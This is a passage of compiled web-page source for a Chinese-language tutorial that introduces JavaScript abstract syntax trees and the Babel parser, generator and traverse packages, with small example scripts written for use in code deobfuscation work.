\u6709\u4e00\u4e2a\u5728\u7ebf\u89e3\u6790\u7f51\u7ad9\uff1a",(0,t.jsx)(e.a,{href:"https://astexplorer.net/",children:"https://astexplorer.net/"})," \uff0c\u9876\u90e8\u53ef\u4ee5\u9009\u62e9\u8bed\u8a00\u3001\u7f16\u8bd1\u5668\u3001\u662f\u5426\u5f00\u542f\u8f6c\u5316\u7b49\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u533a\u57df\u2460\u662f\u6e90\u4ee3\u7801\uff0c\u533a\u57df\u2461\u662f\u5bf9\u5e94\u7684 AST \u8bed\u6cd5\u6811\uff0c\u533a\u57df\u2462\u662f\u8f6c\u6362\u4ee3\u7801\uff0c\u53ef\u4ee5\u5bf9\u8bed\u6cd5\u6811\u8fdb\u884c\u5404\u79cd\u64cd\u4f5c\uff0c\u533a\u57df\u2463\u662f\u8f6c\u6362\u540e\u751f\u6210\u7684\u65b0\u4ee3\u7801\u3002\u56fe\u4e2d\u539f\u6765\u7684 Unicode \u5b57\u7b26\u7ecf\u8fc7\u64cd\u4f5c\u4e4b\u540e\u5c31\u53d8\u6210\u4e86\u6b63\u5e38\u5b57\u7b26\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u8bed\u6cd5\u6811\u6ca1\u6709\u5355\u4e00\u7684\u683c\u5f0f\uff0c\u9009\u62e9\u4e0d\u540c\u7684\u8bed\u8a00\u3001\u4e0d\u540c\u7684\u7f16\u8bd1\u5668\uff0c\u5f97\u5230\u7684\u7ed3\u679c\u4e5f\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u5728 JavaScript \u4e2d\uff0c\u7f16\u8bd1\u5668\u6709 Acorn\u3001Espree\u3001Esprima\u3001Recast\u3001Uglify-JS \u7b49\uff0c\u4f7f\u7528\u6700\u591a\u7684\u662f Babel\uff0c\u540e\u7eed\u7684\u5b66\u4e60\u4e5f\u662f\u4ee5 Babel \u4e3a\u4f8b\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647049.png-.png",alt:"01"})}),"\n",(0,t.jsx)(e.h2,{id:"ast-\u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e",children:"AST \u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u7f16\u8bd1\u539f\u7406\u4e2d\uff0c\u7f16\u8bd1\u5668\u8f6c\u6362\u4ee3\u7801\u901a\u5e38\u8981\u7ecf\u8fc7\u4e09\u4e2a\u6b65\u9aa4\uff1a\u8bcd\u6cd5\u5206\u6790\uff08Lexical Analysis\uff09\u3001\u8bed\u6cd5\u5206\u6790\uff08Syntax Analysis\uff09\u3001\u4ee3\u7801\u751f\u6210\uff08Code Generation\uff09\uff0c\u4e0b\u56fe\u751f\u52a8\u5c55\u793a\u4e86\u8fd9\u4e00\u8fc7\u7a0b\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647050.png-.png",alt:"02"})}),"\n",(0,t.jsx)(e.h3,{id:"\u8bcd\u6cd5\u5206\u6790",children:"\u8bcd\u6cd5\u5206\u6790"}),"\n",(0,t.jsxs)(e.p,{children:["\u8bcd\u6cd5\u5206\u6790\u9636\u6bb5\u662f\u7f16\u8bd1\u8fc7\u7a0b\u7684\u7b2c\u4e00\u4e2a\u9636\u6bb5\uff0c\u8fd9\u4e2a\u9636\u6bb5\u7684\u4efb\u52a1\u662f\u4ece\u5de6\u5230\u53f3\u4e00\u4e2a\u5b57\u7b26\u4e00\u4e2a\u5b57\u7b26\u5730\u8bfb\u5165\u6e90\u7a0b\u5e8f\uff0c\u7136\u540e\u6839\u636e\u6784\u8bcd\u89c4\u5219\u8bc6\u522b\u5355\u8bcd\uff0c\u751f\u6210 token \u7b26\u53f7\u6d41\uff0c\u6bd4\u5982 ",(0,t.jsx)(e.code,{children:"isPanda('\ud83d\udc3c')"}),"\uff0c\u4f1a\u88ab\u62c6\u5206\u6210 ",(0,t.jsx)(e.code,{children:"isPanda"}),"\uff0c",(0,t.jsx)(e.code,{children:"("}),"\uff0c",(0,t.jsx)(e.code,{children:"'\ud83d\udc3c'"}),"\uff0c",(0,t.jsx)(e.code,{children:")"})," \u56db\u90e8\u5206\uff0c\u6bcf\u90e8\u5206\u90fd\u6709\u4e0d\u540c\u7684\u542b\u4e49\uff0c\u53ef\u4ee5\u5c06\u8bcd\u6cd5\u5206\u6790\u8fc7\u7a0b\u60f3\u8c61\u4e3a\u4e0d\u540c\u7c7b\u578b\u6807\u8bb0\u7684\u5217\u8868\u6216\u6570\u7ec4\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647051.gif-.png",alt:"03"})}),"\n",(0,t.jsx)(e.h3,{id:"\u8bed\u6cd5\u5206\u6790",children:"\u8bed\u6cd5\u5206\u6790"}),"\n",(0,t.jsxs)(e.p,{children:["\u8bed\u6cd5\u5206\u6790\u662f\u7f16\u8bd1\u8fc7\u7a0b\u7684\u4e00\u4e2a\u903b\u8f91\u9636\u6bb5\uff0c\u8bed\u6cd5\u5206\u6790\u7684\u4efb\u52a1\u662f\u5728\u8bcd\u6cd5\u5206\u6790\u7684\u57fa\u7840\u4e0a\u5c06\u5355\u8bcd\u5e8f\u5217\u7ec4\u5408\u6210\u5404\u7c7b\u8bed\u6cd5\u77ed\u8bed\uff0c\u6bd4\u5982\u201c\u7a0b\u5e8f\u201d\uff0c\u201c\u8bed\u53e5\u201d\uff0c\u201c\u8868\u8fbe\u5f0f\u201d\u7b49\uff0c\u524d\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c",(0,t.jsx)(e.code,{children:"isPanda('\ud83d\udc3c')"})," \u5c31\u4f1a\u88ab\u5206\u6790\u4e3a\u4e00\u6761\u8868\u8fbe\u8bed\u53e5 ",(0,t.jsx)(e.code,{children:"ExpressionStatement"}),"\uff0c",(0,t.jsx)(e.code,{children:"isPanda()"})," \u5c31\u4f1a\u88ab\u5206\u6790\u6210\u4e00\u4e2a\u51fd\u6570\u8868\u8fbe\u5f0f ",(0,t.jsx)(e.code,{children:"CallExpression"}),"\uff0c",(0,t.jsx)(e.code,{children:"\ud83d\udc3c"})," \u5c31\u4f1a\u88ab\u5206\u6790\u6210\u4e00\u4e2a\u53d8\u91cf ",(0,t.jsx)(e.code,{children:"Literal"})," \u7b49\uff0c\u4f17\u591a\u8bed\u6cd5\u4e4b\u95f4\u7684\u4f9d\u8d56\u3001\u5d4c\u5957\u5173\u7cfb\uff0c\u5c31\u6784\u6210\u4e86\u4e00\u4e2a\u6811\u72b6\u7ed3\u6784\uff0c\u5373 AST \u8bed\u6cd5\u6811\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://img2022.cnblogs.com/other/2501174/202204/2501174-20220427101415313-1435211089.gif",children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647052.gif-.png",alt:"04"})})}),"\n",(0,t.jsx)(e.h3,{id:"\u4ee3\u7801\u751f\u6210",children:"\u4ee3\u7801\u751f\u6210"}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee3\u7801\u751f\u6210\u662f\u6700\u540e\u4e00\u6b65\uff0c\u5c06 AST \u8bed\u6cd5\u6811\u8f6c\u6362\u6210\u53ef\u6267\u884c\u4ee3\u7801\u5373\u53ef\uff0c\u5728\u8f6c\u6362\u4e4b\u524d\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u64cd\u4f5c\u8bed\u6cd5\u6811\uff0c\u8fdb\u884c\u589e\u5220\u6539\u67e5\u7b49\u64cd\u4f5c\uff0c\u4f8b\u5982\uff0c\u6211\u4eec\u53ef\u4ee5\u786e\u5b9a\u53d8\u91cf\u7684\u58f0\u660e\u4f4d\u7f6e\u3001\u66f4\u6539\u53d8\u91cf\u7684\u503c\u3001\u5220\u9664\u67d0\u4e9b\u8282\u70b9\u7b49\uff0c\u6211\u4eec\u5c06\u8bed\u53e5 ",(0,t.jsx)(e.code,{children:"isPanda('\ud83d\udc3c')"})," \u4fee\u6539\u4e3a\u4e00\u4e2a\u5e03\u5c14\u7c7b\u578b\u7684 ",(0,t.jsx)(e.code,{children:"Literal"}),"\uff1a",(0,t.jsx)(e.code,{children:"true"}),"\uff0c\u8bed\u6cd5\u6811\u5c31\u6709\u5982\u4e0b\u53d8\u5316\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647053.gif-.png",alt:"05"})}),"\n",(0,t.jsx)(e.h2,{id:"babel-\u7b80\u4ecb",children:"Babel \u7b80\u4ecb"}),"\n",(0,t.jsxs)(e.p,{children:["Babel \u662f\u4e00\u4e2a JavaScript \u7f16\u8bd1\u5668\uff0c\u4e5f\u53ef\u4ee5\u8bf4\u662f\u4e00\u4e2a\u89e3\u6790\u5e93\uff0cBabel \u4e2d\u6587\u7f51\uff1a",(0,t.jsx)(e.a,{href:"https://www.babeljs.cn/",children:"https://www.babeljs.cn/"})," \uff0cBabel \u82f1\u6587\u5b98\u7f51\uff1a",(0,t.jsx)(e.a,{href:"https://babeljs.io/",children:"https://babeljs.io/"})," \uff0cBabel \u5185\u7f6e\u4e86\u5f88\u591a\u5206\u6790 JavaScript \u4ee3\u7801\u7684\u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528 Babel \u5c06 JavaScript \u4ee3\u7801\u8f6c\u6362\u6210 AST \u8bed\u6cd5\u6811\uff0c\u7136\u540e\u589e\u5220\u6539\u67e5\u7b49\u64cd\u4f5c\u4e4b\u540e\uff0c\u518d\u8f6c\u6362\u6210 JavaScript \u4ee3\u7801\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["Babel \u5305\u542b\u7684\u5404\u79cd\u529f\u80fd\u5305\u3001API\u3001\u5404\u65b9\u6cd5\u53ef\u9009\u53c2\u6570\u7b49\uff0c\u90fd\u975e\u5e38\u591a\uff0c\u672c\u6587\u4e0d\u4e00\u4e00\u5217\u4e3e\uff0c\u5728\u5b9e\u9645\u4f7f\u7528\u8fc7\u7a0b\u4e2d\uff0c\u5e94\u5f53\u591a\u67e5\u8be2\u5b98\u65b9\u6587\u6863\uff0c\u6216\u8005\u53c2\u8003\u6587\u672b\u7ed9\u51fa\u7684\u4e00\u4e9b\u5b66\u4e60\u8d44\u6599\u3002Babel \u7684\u5b89\u88c5\u548c\u5176\u4ed6 Node \u5305\u4e00\u6837\uff0c\u9700\u8981\u54ea\u4e2a\u5b89\u88c5\u54ea\u4e2a\u5373\u53ef\uff0c\u6bd4\u5982 ",(0,t.jsx)(e.code,{children:"npm install @babel/core @babel/parser @babel/traverse @babel/generator"})]}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u505a\u9006\u5411\u89e3\u6df7\u6dc6\u4e2d\uff0c\u4e3b\u8981\u7528\u5230\u4e86 Babel \u7684\u4ee5\u4e0b\u51e0\u4e2a\u529f\u80fd\u5305\uff0c\u672c\u6587\u4e5f\u4ec5\u4ecb\u7ecd\u4ee5\u4e0b\u51e0\u4e2a\u529f\u80fd\u5305\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/core"}),"\uff1aBabel \u7f16\u8bd1\u5668\u672c\u8eab\uff0c\u63d0\u4f9b\u4e86 babel \u7684\u7f16\u8bd1 API\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/parser"}),"\uff1a\u5c06 JavaScript \u4ee3\u7801\u89e3\u6790\u6210 AST \u8bed\u6cd5\u6811\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/traverse"}),"\uff1a\u904d\u5386\u3001\u4fee\u6539 AST \u8bed\u6cd5\u6811\u7684\u5404\u4e2a\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/generator"}),"\uff1a\u5c06 AST \u8fd8\u539f\u6210 JavaScript \u4ee3\u7801\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/types"}),"\uff1a\u5224\u65ad\u3001\u9a8c\u8bc1\u8282\u70b9\u7684\u7c7b\u578b\u3001\u6784\u5efa\u65b0 AST \u8282\u70b9\u7b49\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647054.png-.png",alt:"06"})}),"\n",(0,t.jsx)(e.h3,{id:"babelcore",children:"@babel/core"}),"\n",(0,t.jsxs)(e.p,{children:["Babel \u7f16\u8bd1\u5668\u672c\u8eab\uff0c\u88ab\u62c6\u5206\u6210\u4e86\u4e09\u4e2a\u6a21\u5757\uff1a",(0,t.jsx)(e.code,{children:"@babel/parser"}),"\u3001",(0,t.jsx)(e.code,{children:"@babel/traverse"}),"\u3001",(0,t.jsx)(e.code,{children:"@babel/generator"}),"\uff0c\u6bd4\u5982\u4ee5\u4e0b\u65b9\u6cd5\u7684\u5bfc\u5165\u6548\u679c\u90fd\u662f\u4e00\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parse = require("@babel/parser").parse;\n\nconst parse = require("@babel/core").parse;\n\n\nconst traverse = require("@babel/traverse").default\n\nconst traverse = require("@babel/core").traverse\n'})}),"\n",(0,t.jsx)(e.h3,{id:"babelparser",children:"@babel/parser"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"@babel/parser"})," \u53ef\u4ee5\u5c06 JavaScript \u4ee3\u7801\u89e3\u6790\u6210 AST \u8bed\u6cd5\u6811\uff0c\u5176\u4e2d\u4e3b\u8981\u63d0\u4f9b\u4e86\u4e24\u4e2a\u65b9\u6cd5\uff1a"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"parser.parse(code, [{options}])"}),"\uff1a\u89e3\u6790\u4e00\u6bb5 JavaScript \u4ee3\u7801\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"parser.parseExpression(code, [{options}])"}),"\uff1a\u8003\u8651\u5230\u4e86\u6027\u80fd\u95ee\u9898\uff0c\u89e3\u6790\u5355\u4e2a JavaScript \u8868\u8fbe\u5f0f\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u90e8\u5206\u53ef\u9009\u53c2\u6570 ",(0,t.jsx)(e.code,{children:"options"}),"\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u53c2\u6570"}),(0,t.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"allowImportExportEverywhere"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4 ",(0,t.jsx)(e.code,{children:"import"})," \u548c ",(0,t.jsx)(e.code,{children:"export"})," \u58f0\u660e\u8bed\u53e5\u53ea\u80fd\u51fa\u73b0\u5728\u7a0b\u5e8f\u7684\u6700\u9876\u5c42\uff0c\u8bbe\u7f6e\u4e3a ",(0,t.jsx)(e.code,{children:"true"})," \u5219\u5728\u4efb\u4f55\u5730\u65b9\u90fd\u53ef\u4ee5\u58f0\u660e"]})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"allowReturnOutsideFunction"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4\u5982\u679c\u5728\u9876\u5c42\u4e2d\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"return"})," \u8bed\u53e5\u4f1a\u5f15\u8d77\u9519\u8bef\uff0c\u8bbe\u7f6e\u4e3a ",(0,t.jsx)(e.code,{children:"true"})," \u5c31\u4e0d\u4f1a\u62a5\u9519"]})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"sourceType"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4\u4e3a ",(0,t.jsx)(e.code,{children:"script"}),"\uff0c\u5f53\u4ee3\u7801\u4e2d\u542b\u6709 ",(0,t.jsx)(e.code,{children:"import"})," \u3001",(0,t.jsx)(e.code,{children:"export"})," \u7b49\u5173\u952e\u5b57\u65f6\u4f1a\u62a5\u9519\uff0c\u9700\u8981\u6307\u5b9a\u4e3a ",(0,t.jsx)(e.code,{children:"module"})]})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"errorRecovery"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4\u5982\u679c babel \u53d1\u73b0\u4e00\u4e9b\u4e0d\u6b63\u5e38\u7684\u4ee3\u7801\u5c31\u4f1a\u629b\u51fa\u9519\u8bef\uff0c\u8bbe\u7f6e\u4e3a ",(0,t.jsx)(e.code,{children:"true"})," \u5219\u4f1a\u5728\u4fdd\u5b58\u89e3\u6790\u9519\u8bef\u7684\u540c\u65f6\u7ee7\u7eed\u89e3\u6790\u4ee3\u7801\uff0c\u9519\u8bef\u7684\u8bb0\u5f55\u5c06\u88ab\u4fdd\u5b58\u5728\u6700\u7ec8\u751f\u6210\u7684 AST \u7684 errors \u5c5e\u6027\u4e2d\uff0c\u5f53\u7136\u5982\u679c\u9047\u5230\u4e25\u91cd\u7684\u9519\u8bef\uff0c\u4f9d\u7136\u4f1a\u7ec8\u6b62\u89e3\u6790"]})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\u770b\u5f97\u6bd4\u8f83\u6e05\u695a\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\n\n\nconst code = "const a = 1;";\n\nconst ast = parser.parse(code, {sourceType: "module"})\n\nconsole.log(ast)\n'})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:'{sourceType: "module"}'})," \u6f14\u793a\u4e86\u5982\u4f55\u6dfb\u52a0\u53ef\u9009\u53c2\u6570\uff0c\u8f93\u51fa\u7684\u5c31\u662f AST \u8bed\u6cd5\u6811\uff0c\u8fd9\u548c\u5728\u7ebf\u7f51\u7ad9 ",(0,t.jsx)(e.a,{href:"https://astexplorer.net/",children:"https://astexplorer.net/"})," \u89e3\u6790\u51fa\u6765\u7684\u8bed\u6cd5\u6811\u662f\u4e00\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647055.png-.png",alt:"07"})}),"\n",(0,t.jsx)(e.h3,{id:"babelgenerator",children:"@babel/generator"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"@babel/generator"})," \u53ef\u4ee5\u5c06 AST \u8fd8\u539f\u6210 JavaScript \u4ee3\u7801\uff0c\u63d0\u4f9b\u4e86\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"generate"})," \u65b9\u6cd5\uff1a",(0,t.jsx)(e.code,{children:"generate(ast, [{options}], code)"}),"\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u90e8\u5206\u53ef\u9009\u53c2\u6570 ",(0,t.jsx)(e.code,{children:"options"}),"\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u53c2\u6570"}),(0,t.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"auxiliaryCommentBefore"})}),(0,t.jsx)(e.td,{children:"\u5728\u8f93\u51fa\u6587\u4ef6\u5185\u5bb9\u7684\u5934\u90e8\u6dfb\u52a0\u6ce8\u91ca\u5757\u6587\u5b57"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"auxiliaryCommentAfter"})}),(0,t.jsx)(e.td,{children:"\u5728\u8f93\u51fa\u6587\u4ef6\u5185\u5bb9\u7684\u672b\u5c3e\u6dfb\u52a0\u6ce8\u91ca\u5757\u6587\u5b57"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"comments"})}),(0,t.jsx)(e.td,{children:"\u8f93\u51fa\u5185\u5bb9\u662f\u5426\u5305\u542b\u6ce8\u91ca"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"compact"})}),(0,t.jsx)(e.td,{children:"\u8f93\u51fa\u5185\u5bb9\u662f\u5426\u4e0d\u6dfb\u52a0\u7a7a\u683c\uff0c\u907f\u514d\u683c\u5f0f\u5316"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"concise"})}),(0,t.jsx)(e.td,{children:"\u8f93\u51fa\u5185\u5bb9\u662f\u5426\u51cf\u5c11\u7a7a\u683c\u4f7f\u5176\u66f4\u7d27\u51d1\u4e00\u4e9b"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"minified"})}),(0,t.jsx)(e.td,{children:"\u662f\u5426\u538b\u7f29\u8f93\u51fa\u4ee3\u7801"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"retainLines"})}),(0,t.jsx)(e.td,{children:"\u5c1d\u8bd5\u5728\u8f93\u51fa\u4ee3\u7801\u4e2d\u4f7f\u7528\u4e0e\u6e90\u4ee3\u7801\u4e2d\u76f8\u540c\u7684\u884c\u53f7"})]})]})]}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u7740\u524d\u9762\u7684\u4f8b\u5b50\uff0c\u539f\u4ee3\u7801\u662f ",(0,t.jsx)(e.code,{children:"const a = 1;"}),"\uff0c\u73b0\u5728\u6211\u4eec\u628a ",(0,t.jsx)(e.code,{children:"a"})," \u53d8\u91cf\u4fee\u6539\u4e3a ",(0,t.jsx)(e.code,{children:"b"}),"\uff0c\u503c ",(0,t.jsx)(e.code,{children:"1"})," \u4fee\u6539\u4e3a ",(0,t.jsx)(e.code,{children:"2"}),"\uff0c\u7136\u540e\u5c06 AST \u8fd8\u539f\u751f\u6210\u65b0\u7684 JS \u4ee3\u7801\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\n\n\nconst code = "const a = 1;";\n\nconst ast = parser.parse(code, {sourceType: "module"})\n\nast.program.body[0].declarations[0].id.name = "b"\n\nast.program.body[0].declarations[0].init.value = 2\n\nconst result = generate(ast, {minified: true})\n\n\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6700\u7ec8\u8f93\u51fa\u7684\u662f ",(0,t.jsx)(e.code,{children:"const b=2;"}),"\uff0c\u53d8\u91cf\u540d\u548c\u503c\u90fd\u6210\u529f\u66f4\u6539\u4e86\uff0c\u7531\u4e8e\u52a0\u4e86\u538b\u7f29\u5904\u7406\uff0c\u7b49\u53f7\u5de6\u53f3\u4e24\u8fb9\u7684\u7a7a\u683c\u4e5f\u6ca1\u4e86\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee3\u7801\u91cc ",(0,t.jsx)(e.code,{children:"{minified: true}"})," \u6f14\u793a\u4e86\u5982\u4f55\u6dfb\u52a0\u53ef\u9009\u53c2\u6570\uff0c\u8fd9\u91cc\u8868\u793a\u538b\u7f29\u8f93\u51fa\u4ee3\u7801\uff0c",(0,t.jsx)(e.code,{children:"generate"})," \u5f97\u5230\u7684 ",(0,t.jsx)(e.code,{children:"result"})," \u5f97\u5230\u7684\u662f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5176\u4e2d\u7684 ",(0,t.jsx)(e.code,{children:"code"})," \u5c5e\u6027\u624d\u662f\u6700\u7ec8\u7684 JS \u4ee3\u7801\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee3\u7801\u91cc ",(0,t.jsx)(e.code,{children:"ast.program.body[0].declarations[0].id.name"})," \u662f a \u5728 AST \u4e2d\u7684\u4f4d\u7f6e\uff0c",(0,t.jsx)(e.code,{children:"ast.program.body[0].declarations[0].init.value"})," \u662f 1 \u5728 AST \u4e2d\u7684\u4f4d\u7f6e\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647056.png-.png",alt:"08"})}),"\n",(0,t.jsx)(e.h3,{id:"babeltraverse",children:"@babel/traverse"}),"\n",(0,t.jsxs)(e.p,{children:["\u5f53\u4ee3\u7801\u591a\u4e86\uff0c\u6211\u4eec\u4e0d\u53ef\u80fd\u50cf\u524d\u9762\u90a3\u6837\u6328\u4e2a\u5b9a\u4f4d\u5e76\u4fee\u6539\uff0c\u5bf9\u4e8e\u76f8\u540c\u7c7b\u578b\u7684\u8282\u70b9\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u904d\u5386\u6240\u6709\u8282\u70b9\u6765\u8fdb\u884c\u4fee\u6539\uff0c\u8fd9\u91cc\u5c31\u7528\u5230\u4e86 ",(0,t.jsx)(e.code,{children:"@babel/traverse"}),"\uff0c\u5b83\u901a\u5e38\u548c ",(0,t.jsx)(e.code,{children:"visitor"})," \u4e00\u8d77\u4f7f\u7528\uff0c",(0,t.jsx)(e.code,{children:"visitor"})," \u662f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u8fd9\u4e2a\u540d\u5b57\u662f\u53ef\u4ee5\u968f\u610f\u53d6\u7684\uff0c",(0,t.jsx)(e.code,{children:"visitor"})," \u91cc\u53ef\u4ee5\u5b9a\u4e49\u4e00\u4e9b\u65b9\u6cd5\u6765\u8fc7\u6ee4\u8282\u70b9\uff0c\u8fd9\u91cc\u8fd8\u662f\u7528\u4e00\u4e2a\u4f8b\u5b50\u6765\u6f14\u793a\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\n\n\nconst code = `\n\nconst a = 1500;\n\nconst b = 60;\n\nconst c = "hi";\n\nconst d = 787;\n\nconst e = "1244";\n\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n NumericLiteral(path){\n\n path.node.value = (path.node.value + 100) * 2\n\n },\n\n StringLiteral(path){\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd9\u91cc\u7684\u539f\u59cb\u4ee3\u7801\u5b9a\u4e49\u4e86 abcde \u4e94\u4e2a\u53d8\u91cf\uff0c\u5176\u503c\u6709\u6570\u5b57\u4e5f\u6709\u5b57\u7b26\u4e32\uff0c\u6211\u4eec\u5728 AST \u4e2d\u53ef\u4ee5\u770b\u5230\u5bf9\u5e94\u7684\u7c7b\u578b\u4e3a ",(0,t.jsx)(e.code,{children:"NumericLiteral"})," \u548c ",(0,t.jsx)(e.code,{children:"StringLiteral"}),"\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647058.png-.png",alt:"09"})}),"\n",(0,t.jsxs)(e.p,{children:["\u7136\u540e\u6211\u4eec\u58f0\u660e\u4e86\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"visitor"})," \u5bf9\u8c61\uff0c\u7136\u540e\u5b9a\u4e49\u5bf9\u5e94\u7c7b\u578b\u7684\u5904\u7406\u65b9\u6cd5\uff0c",(0,t.jsx)(e.code,{children:"traverse"})," \u63a5\u6536\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u662f AST \u5bf9\u8c61\uff0c\u7b2c\u4e8c\u4e2a\u662f ",(0,t.jsx)(e.code,{children:"visitor"}),"\uff0c\u5f53 ",(0,t.jsx)(e.code,{children:"traverse"})," \u904d\u5386\u6240\u6709\u8282\u70b9\uff0c\u9047\u5230\u8282\u70b9\u7c7b\u578b\u4e3a ",(0,t.jsx)(e.code,{children:"NumericLiteral"})," \u548c ",(0,t.jsx)(e.code,{children:"StringLiteral"})," \u65f6\uff0c\u5c31\u4f1a\u8c03\u7528 ",(0,t.jsx)(e.code,{children:"visitor"})," 